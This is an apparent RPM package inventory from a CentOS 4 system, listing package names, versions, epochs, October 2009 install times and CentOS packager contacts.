 netconfig-0.8.21-1.1|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 setupool-1.17-2|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 symlinks-1.2-22|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libmtha-1.0.3.1-7|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|(none)
 dapl-1.2.1-7|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|(none)
 tcp_wrappers-7.6-37.2|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 tmpwatch-2.9.1-1|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 unix2dos-2.2-24.1|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 wireless-tools-28.0.pre16.3.3.EL4|1 Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 zip-2.3-27|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 freetype-2.1.9-5.el4|(none) Wed 07 Oct 2009 08:09:38 PM EDT|CentOS|(none)
 binutils-2.15.92.0.2-22|(none) Wed 07 Oct 2009 08:09:41 PM EDT|CentOS|(none)
 groff-1.18.1.1-3.EL4|(none) Wed 07 Oct 2009 08:09:42 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 krb5-workstation-1.3.4-47|(none) Wed 07 Oct 2009 08:09:43 PM EDT|CentOS|(none)
 libgssapi-0.8-1|(none) Wed 07 Oct 2009 08:09:43 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libtiff-3.6.1-12|(none) Wed 07 Oct 2009 08:09:43 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 logwatch-5.2.2-2.EL4|(none) Wed 07 Oct 2009 08:09:45 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 make-3.80-6.EL4|1 Wed 07 Oct 2009 08:09:45 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 mgetty-1.1.31-2|(none) Wed 07 Oct 2009 08:09:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 mtools-3.9.9-9|(none) Wed 07 Oct 2009 08:09:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 nss_db-2.2-29|(none) Wed 07 Oct 2009 08:09:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 bind-utils-9.2.4-24.EL4|20 Wed 07 Oct 2009 08:09:47 PM EDT|CentOS|(none)
 net-snmp-libs-5.1.2-11.EL4.10|(none) Wed 07 Oct 2009 08:09:47 PM EDT|CentOS|(none)
 pdksh-5.2.14-30.3|(none) Wed 07 Oct 2009 08:09:47 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 psacct-6.3.2-39.rhel14|(none) Wed 07 Oct 2009 08:09:48 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 ftp-0.17-23.EL4|(none) Wed 07 Oct 2009 08:09:48 PM EDT|CentOS|(none)
 parted-1.6.19-16.EL|(none) Wed 07 Oct 2009 08:09:48 PM EDT|CentOS|(none)
 gettext-0.14.1-13|(none) Wed 07 Oct 2009 08:09:51 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pyOpenSSL-0.6-1.p23|(none) Wed 07 Oct 2009 08:09:51 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 python-urlgrabber-2.9.8-2|(none) Wed 07 Oct 2009 08:09:51 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 jpackage-utils-1.7.3-1jpp.1.el4|0 Wed 07 Oct 2009 08:09:52 PM EDT|CentOS|(none)
 minicom-2.00.0-19|(none) Wed 07 Oct 2009 08:09:52 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 rpm-python-4.3.3-22_nonptl|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|(none)
 sqlite-3.3.6-2|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|(none)
 stunnel-4.05-3|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 sysreport-1.3.15-8|(none) Wed 07 Oct 2009 08:09:53 PM EDT|CentOS|(none)
 time-1.7-25|(none) Wed 07 Oct 2009 08:09:54 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 guile-1.6.4-14|5 Wed 07 Oct 2009 08:09:55 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 ibutilts-1.0-4|(none) Wed 07 Oct 2009 08:09:56 PM EDT|CentOS|(none)
 wget-1.10.2-0.40E|(none) Wed 07 Oct 2009 08:09:56 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 wpa_supplicant-0.4.9-1.1.el4|1 Wed 07 Oct 2009 08:09:56 PM EDT|CentOS|(none)
 xmlsec1-openssl-1.2.6-3|(none) Wed 07 Oct 2009 08:09:57 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 xorg-x11-Mesa-libGL-6.8.2-1.EL.18|(none) Wed 07 Oct 2009 08:09:58 PM EDT|CentOS|(none)

libwvstreams-3.75.0-2|(none) Wed 07 Oct 2009 08:09:59 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pam_krb5-2.1.8-1|(none) Wed 07 Oct 2009 08:09:59 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 acpid-1.0.3-2|(none) Wed 07 Oct 2009 08:09:59 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 bluez-utils-2.10-2.1|(none) Wed 07 Oct 2009 08:10:00 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 dhclient-3.0.1-59.E4|7 Wed 07 Oct 2009 08:10:00 PM EDT|CentOS|(none)
 ipsec-tools-0.3.3-6.rhel4.1|(none) Wed 07 Oct 2009 08:10:00 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 kernel-utils-2.4-13.1.99|1 Wed 07 Oct 2009 08:10:02 PM EDT|CentOS|(none)
 autofs-4.1.3-199.3|1 Wed 07 Oct 2009 08:10:02 PM EDT|CentOS|(none)
 nfs-utils-lib-1.0.6-8|(none) Wed 07 Oct 2009 08:10:03 PM EDT|CentOS|(none)
 openssh-3.9p1-8.RHEL4.20|(none) Wed 07 Oct 2009 08:10:04 PM EDT|CentOS|(none)
 netdump-0.7.16-10|(none) Wed 07 Oct 2009 08:10:04 PM EDT|CentOS|(none)
 portmap-4.0-63|(none) Wed 07 Oct 2009 08:10:05 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 mdadm-1.12.0-2|(none) Wed 07 Oct 2009 08:10:06 PM EDT|CentOS|(none)
 iptables-1.2.11-3.1.RHEL4|(none) Wed 07 Oct 2009 08:10:07 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libpcap-0.8.3-10.RHEL4|14 Wed 07 Oct 2009 08:10:07 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 nfs-utils-1.0.6-80.E4|(none) Wed 07 Oct 2009 08:10:07 PM EDT|CentOS|(none)
 pcmcia-cs-3.2.7-3.5|(none) Wed 07 Oct 2009 08:10:08 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 quota-3.12-6.e14|1 Wed 07 Oct 2009 08:10:08 PM EDT|CentOS|(none)
 system-config-network-tui-1.3.22.0.EL.4.2-1|(none) Wed 07 Oct 2009 08:10:09 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 tcpdump-3.8.2-10.RHE4|14 Wed 07 Oct 2009 08:10:10 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 vconfig-1.8-4|(none) Wed 07 Oct 2009 08:10:11 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 xinetd-2.3.13-4.E4.1|2 Wed 07 Oct 2009 08:10:11 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 redhat-lsb-3.0-8.E1|(none) Wed 07 Oct 2009 08:10:13 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 yp-tools-2.8-7|(none) Wed 07 Oct 2009 08:10:14 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 gnome-mime-data-2.4.1-5|(none) Wed 07 Oct 2009 08:10:14 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 atk-1.8.0-2|(none) Wed 07 Oct 2009 08:10:15 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libIDL-0.8.4-1.centos4|(none) Wed 07 Oct 2009 08:10:16 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 audiofile-0.2.6-1.e14.1|1 Wed 07 Oct 2009 08:10:16 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 gamin-0.1.7-1.2.E4|(none) Wed 07 Oct 2009 08:10:17 PM EDT|CentOS|(none)
 perl-URI-1.30-4|(none) Wed 07 Oct 2009 08:10:17 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 newt-perl-1.08-7|(none) Wed 07 Oct 2009 08:10:17 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libidn-0.5.6-1|(none) Wed 07 Oct 2009 08:10:18 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 crypto-utils-2.1-4|(none) Wed 07 Oct 2009 08:10:18 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 distcache-1.4.5-6|(none) Wed 07 Oct 2009 08:10:19 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 alchemist-1.0.34-1|(none) Wed 07 Oct 2009 08:10:19 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 PyXML-0.8.3-6|(none) Wed 07 Oct 2009 08:10:22 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 shared-mime-info-0.15-10.1.e14|(none) Wed 07 Oct 2009 08:10:33 PM EDT|CentOS|(none)
 gd-2.0.28-5.4E|(none) Wed 07 Oct 2009 08:10:34 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 gtk2-2.4.13-22|(none) Wed 07 Oct 2009 08:10:36 PM EDT|CentOS|(none)
 gnome-keyring-0.4.0-1|(none) Wed 07 Oct 2009 08:10:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libgnomecanvas-2.8.0-1|(none) Wed 07 Oct 2009 08:10:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pygtk2-libglade-2.4.0-1|(none) Wed 07 Oct 2009 08:10:39 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libgnome-2.8.0-2|(none) Wed 07 Oct 2009 08:10:40 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libgnomeui-2.8.0-1|(none) Wed 07 Oct 2009 08:10:41 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 gnome-python2-bonobo-2.6.0-3|(none) Wed 07 Oct 2009 08:10:42 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 apr-util-0.9.4-21|(none) Wed 07 Oct 2009 08:10:42 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 httpd-manual-2.0.52-32.ent.centos4|(none) Wed 07 Oct 2009 08:10:45 PM EDT|CentOS|(none)
 mod_perl-1.99_16-4.centos4|(none) Wed 07 Oct 2009 08:10:46 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 mod_ssl-2.0.52-32.ent.centos4|1 Wed 07 Oct 2009 08:10:47 PM EDT|CentOS|(none)
 squid-2.5.STABLE14-1.4E|7 Wed 07 Oct 2009 08:10:51 PM EDT|CentOS|(none)
 webalizer-2.01_10-25|(none) Wed 07 Oct 2009 08:10:53 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 samba-client-3.0.10-1.4.E.11|0 Wed 07 Oct 2009 08:10:58 PM EDT|CentOS|(none)
 perl-HTML-Parser-3.35-6|(none) Wed 07 Oct 2009 08:10:59 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-XML-Parser-2.34-5|(none) Wed 07 Oct 2009 08:10:59 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-XML-Dumper-0.71-2|(none) Wed 07 Oct 2009 08:11:00 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 xorg-x11-font-utils-6.8.2-1.EL.18|(none) Wed 07 Oct 2009 08:11:00 PM EDT|CentOS|(none)
 urw-fonts-2.2-6.1|(none) Wed 07 Oct 2009 08:11:00 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 xorg-x11-xfs-6.8.2-1.EL.18|(none) Wed 07 Oct 2009 08:11:03 PM EDT|CentOS|(none)
 usermode-gtk-1.74-2|(none) Wed 07 Oct 2009 08:11:03 PM EDT|CentOS|(none)
 system-config-nfs-1.2.8-1|(none) Wed 07 Oct 2009 08:11:04 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libogg-1.1.2-1|2 Wed 07 Oct 2009 08:11:04 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 mysql-4.1.22-2.e14|(none) Thu 08 Oct 2009 06:32:00 AM EDT|CentOS|(none)
 alsa-utils-1.0.6-6|(none) Wed 07 Oct 2009 08:11:04 PM EDT|CentOS|(none)
 comps-extras-10.1-1|(none) Wed 07 Oct 2009 08:11:05 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 ntp-4.2.0.a.20040617-6.e14|(none) Wed 07 Oct 2009 08:11:06 PM EDT|CentOS|(none)
 authconfig-gtk-4.6-10.rhel4.3|(none) Wed 07 Oct 2009 08:11:07 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 system-config-keyboard-1.2.5-1|(none) Wed 07 Oct 2009 08:11:07 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 system-config-packages-1.2.23-1|(none) Wed 07 Oct 2009 08:11:08 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 system-config-soundcard-1.2.10-2.E4|(none) Wed 07 Oct 2009 08:11:08 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 system-logviewer-0.9.12-0.2|(none) Wed 07 Oct 2009 08:11:09 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 gnutls-1.0.20-3.2.3|(none) Wed 07 Oct 2009 08:11:10 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libmng-1.0.8-1|(none) Wed 07 Oct 2009 08:11:10 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 qt-3.3-10.RHEL4|1 Wed 07 Oct 2009 08:11:11 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 Xaw3d-1.5-24|(none) Wed 07 Oct 2009 08:11:14 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 psgml-1.2.5-4|(none) Wed 07 Oct 2009 08:11:15 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 tk-8.4.7-2|(none) Wed 07 Oct 2009 08:11:15 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 emacspeak-17.0-7|(none) Wed 07 Oct 2009 08:11:17 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 emacs-21.3-19.EL.4|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 pciutils-devel-2.1.99.test8-3.4|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|(none)
 byacc-1.9-28|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 diffstat-1.31-5|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 flex-2.5.4a-33|(none) Wed 07 Oct 2009 08:11:25 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libattr-devel-2.4.16-3.1.e14|(none) Wed 07 Oct 2009 08:11:26 PM EDT|CentOS|(none)
 libcap-devel-1.10-20|(none) Wed 07 Oct 2009 08:11:26 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libogg-devel-1.1.2-1|2 Wed 07 Oct 2009 08:11:33 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 db4-devel-4.2.52-7.1|(none) Wed 07 Oct 2009 08:11:35 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 doxygen-1.3.9.1-1|1 Wed 07 Oct 2009 08:11:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libtool-libs-1.5.6-4.E4.1.c4.4|(none) Wed 07 Oct 2009 08:11:40 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 ltrace-0.4-3.e14|(none) Wed 07 Oct 2009 08:11:45 PM EDT|CentOS|(none)
 boost-devel-1.32-0.6.rhel4|(none) Wed 07 Oct 2009 08:11:52 PM EDT|CentOS|(none)
 kernel-devel-2.6.9-55.E1|(none) Wed 07 Oct 2009 08:12:06 PM EDT|CentOS|(none)
 kernel-smp-devel-2.6.9-55.E1|(none) Wed 07 Oct 2009 08:13:18 PM EDT|CentOS|(none)
 libusb-devel-0.1.8-1|(none) Wed 07 Oct 2009 08:13:43 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 dialog-1.20040731-3|(none) Wed 07 Oct 2009 08:13:44 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 ncurses-devel-5.4-13|(none) Wed 07 Oct 2009 08:13:45 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-Convert-ASN1-0.18-3|(none) Wed 07 Oct 2009 08:13:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-XML-Grove-0.46alpha-27|(none) Wed 07 Oct 2009 08:13:46 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 perl-LDAP-0.31-5|(none) Wed 07 Oct 2009 08:13:47 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pkgconfig-0.15.0-3|1 Wed 07 Oct 2009 08:13:48 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>

rcs-5.7-26|(none) Wed 07 Oct 2009 08:13:49 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 splint-3.1.1-4|(none) Wed 07 Oct 2009 08:13:49 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 sysfsutils-devel-1.2.0-1|(none) Wed 07 Oct 2009 08:13:49 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 valgrind-callgrind-0.10.1-2.EL4|(none) Wed 07 Oct 2009 08:13:51 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 gdb-6.3.0.0-1.143.e14|(none) Wed 07 Oct 2009 08:13:52 PM EDT|CentOS|(none)
 gmp-devel-4.1.4-3|(none) Wed 07 Oct 2009 08:13:54 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 indent-2.2.9-6|(none) Wed 07 Oct 2009 08:13:54 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 krb5-devel-1.3.4-47|(none) Wed 07 Oct 2009 08:13:55 PM EDT|CentOS|(none)
 libidn-devel-0.5.6-1|(none) Wed 07 Oct 2009 08:13:55 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 automake17-1.7.9-5|(none) Wed 07 Oct 2009 08:13:56 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 automake15-1.5-13|(none) Wed 07 Oct 2009 08:13:57 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 bison-1.875c-2|(none) Wed 07 Oct 2009 08:13:58 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 perl-XML-LibXML-Common-0.13-7|(none) Wed 07 Oct 2009 08:13:58 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 pstack-1.2-6|(none) Wed 07 Oct 2009 08:13:59 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 python-devel-2.3.4-14.4|(none) Wed 07 Oct 2009 08:14:01 PM EDT|CentOS|(none)
 dbus-devel-0.22-12.EL.9|(none) Wed 07 Oct 2009 08:14:01 PM EDT|CentOS|(none)
 rpm-build-4.3.3-22_nonptl|(none) Wed 07 Oct 2009 08:14:01 PM EDT|CentOS|(none)
 slang-devel-1.4.9-8|(none) Wed 07 Oct 2009 08:14:15 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 texinfo-4.7-5.e14.2|(none) Wed 07 Oct 2009 08:14:15 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libgcj-devel-3.4.6-8|(none) Wed 07 Oct 2009 08:14:22 PM EDT|CentOS|(none)
 libxml2-devel-2.6.16-10|(none) Wed 07 Oct 2009 08:14:24 PM EDT|CentOS|(none)
 curl-devel-7.12.1-11.e14|(none) Wed 07 Oct 2009 08:14:26 PM EDT|CentOS|(none)
 cyrus-sasl-devel-2.1.19-5.EL4|(none) Wed 07 Oct 2009 08:14:27 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 glibc-headers-2.3.4-2.36|(none) Wed 07 Oct 2009 08:14:30 PM EDT|CentOS|(none)
 gcc-3.4.6-8|(none) Wed 07 Oct 2009 08:14:32 PM EDT|CentOS|(none)
 gcc-g77-3.4.6-8|(none) Wed 07 Oct 2009 08:14:33 PM EDT|CentOS|(none)
 libtool-1.5.6-4.EL4.1.c4.4|(none) Wed 07 Oct 2009 08:14:35 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libuser-devel-0.52.5-1.e14.1|(none) Wed 07 Oct 2009 08:14:35 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 python-ldap-2.0.1-2|0 Wed 07 Oct 2009 08:14:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 systemtap-runtime-0.5.12-1|(none) Wed 07 Oct 2009 08:14:36 PM EDT|CentOS|(none)
 tog-pegasus-2.5.1-2.EL4|2 Wed 07 Oct 2009 08:14:43 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libdbi-0.6.5-10.RHEL4.1|(none) Wed 07 Oct 2009 08:14:51 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 vsftpd-2.0.1-5.EL4.5|(none) Wed 07 Oct 2009 08:14:52 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 perl-DBD-MySQL-2.9004-3.1|(none) Wed 07 Oct 2009 08:14:52 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 MySQL-python-1.2.1_p2-1.e14.1|(none) Wed 07 Oct 2009 08:14:53 PM EDT|CentOS|(none)
 nmap-3.70-1|2 Wed 07 Oct 2009 08:14:54 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 xdelta-1.1.3-15|(none) Wed 07 Oct 2009 08:14:54 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 zsh-4.2.0-4.EL.4.5|(none) Wed 07 Oct 2009 08:14:56 PM EDT|CentOS|(none)
 screen-4.0.2-5|(none) Wed 07 Oct 2009 08:14:57 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 arptables_jf-0.0.8-2|0 Wed 07 Oct 2009 08:14:57 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 comps-4.5CENTOS-0.20070506|2 Wed 07 Oct 2009 08:15:24 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 php-ldap-4.3.9-3.26|(none) Thu 08 Oct 2009 06:31:17 AM EDT|CentOS|(none)
 php-4.3.9-3.26|(none) Thu 08 Oct 2009 06:31:21 AM EDT|CentOS|(none)
 mysql-server-4.1.22-2.e14|(none) Thu 08 Oct 2009 01:05:00 PM EDT|CentOS|(none)
 hwdata-0.146.28.EL-1|(none) Wed 07 Oct 2009 08:06:53 PM EDT|CentOS|(none)
 rootfiles-8-1|(none) Wed 07 Oct 2009 08:06:56 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 termcap-5.4-3|1 Wed 07 Oct 2009 08:06:56 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 audit-libs-1.0.15-3.EL4|(none) Wed 07 Oct 2009 08:07:36 PM EDT|CentOS|(none)
 e2fsprogs-1.35-12.5.e14|(none) Wed 07 Oct 2009 08:07:38 PM EDT|CentOS|(none)
 gdbm-1.8-0.24|(none) Wed 07 Oct 2009 08:07:39 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libattr-2.4.16-3.1.e14|(none) Wed 07 Oct 2009 08:07:40 PM EDT|CentOS|(none)
 device-mapper-1.02.17-3.e14|(none) Wed 07 Oct 2009 08:07:41 PM EDT|CentOS|(none)
 db4-4.2.52-7.1|(none) Wed 07 Oct 2009 08:07:42 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 mktemp-1.5-20|2 Wed 07 Oct 2009 08:07:43 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 iproute-2.6.9-3.EL4.7|(none) Wed 07 Oct 2009 08:07:46 PM EDT|CentOS|(none)
 less-382-4.rhel14|(none) Wed 07 Oct 2009 08:07:54 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 perl-Filter-1.30-6|(none) Wed 07 Oct 2009 08:08:07 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 setserial-2.17-17|(none) Wed 07 Oct 2009 08:08:17 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 tcl-8.4.7-2|(none) Wed 07 Oct 2009 08:08:19 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 file-4.10-3.EL4.5|(none) Wed 07 Oct 2009 08:08:20 PM EDT|CentOS|(none)
 ed-0.2-36|(none) Wed 07 Oct 2009 08:08:22 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 coreutils-5.2.1-31.6|(none) Wed 07 Oct 2009 08:08:26 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 krb5-libs-1.3.4-47|(none) Wed 07 Oct 2009 08:08:28 PM EDT|CentOS|(none)
 procps-3.2.3-8.6|(none) Wed 07 Oct 2009 08:08:31 PM EDT|CentOS|(none)
 pyxf86config-0.3.19-1|(none) Wed 07 Oct 2009 08:08:40 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 shadow-utils-4.0.3-61.RHEL4|2 Wed 07 Oct 2009 08:08:42 PM EDT|CentOS|(none)
 rpm-4.3.3-22_nonptl|(none) Wed 07 Oct 2009 08:08:46 PM EDT|CentOS|(none)
 cracklib-dicts-2.8.9-1.3|(none) Wed 07 Oct 2009 08:08:49 PM EDT|CentOS|(none)
 selinux-policy-targeted-1.17.30-2.145|(none) Wed 07 Oct 2009 08:08:52 PM EDT|CentOS|(none)
 hal-0.4.2-6.EL4|(none) Wed 07 Oct 2009 08:08:55 PM EDT|CentOS|(none)
 which-2.16-4|(none) Wed 07 Oct 2009 08:09:07 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 cyrus-sasl-md5-2.1.19-5.EL4|(none) Wed 07 Oct 2009 08:09:08 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 passwd-0.68-10.1|(none) Wed 07 Oct 2009 08:09:20 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 system-config-mouse-1.2.9-1|(none) Wed 07 Oct 2009 08:09:22 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 rmt-0.4b39-3.EL4.2|(none) Wed 07 Oct 2009 08:09:29 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 bluez-hcidump-1.11-1|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 elfutils-0.97.1-4|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|(none)
 lha-1.14i-17|(none) Wed 07 Oct 2009 08:09:31 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 libgcrypt-1.2.0-3|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 lsof-4.72-1.4|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 crontabs-1.10-7|(none) Wed 07 Oct 2009 08:09:32 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libbumad-1.0.1-7|(none) Wed 07 Oct 2009 08:09:33 PM EDT|CentOS|(none)
 pam_passwddc-0.7.5-2|(none) Wed 07 Oct 2009 08:09:34 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 aspell-0.50-5.4.EL4|12 Wed 07 Oct 2009 08:09:34 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 desktop-file-utils-0.9-3.e14|(none) Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|(none)
 rdist-6.1.5-38.40.2|1 Wed 07 Oct 2009 08:09:35 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 rsync-2.6.3-1|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 ntsysv-1.3.13.5.EL4-1|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|Johnny Hughes <johnny@centos.org>
 libibverbs-1.0.4-7|(none) Wed 07 Oct 2009 08:09:36 PM EDT|CentOS|(none)
 talk-0.17-26|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|Karanbir Singh <kbsingh@centos.org>
 traceroute-1.4a12-24.EL4.1|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|(none)
 words-3.0-3.2|(none) Wed 07 Oct 2009 08:09:37 PM EDT|CentOS|(none)
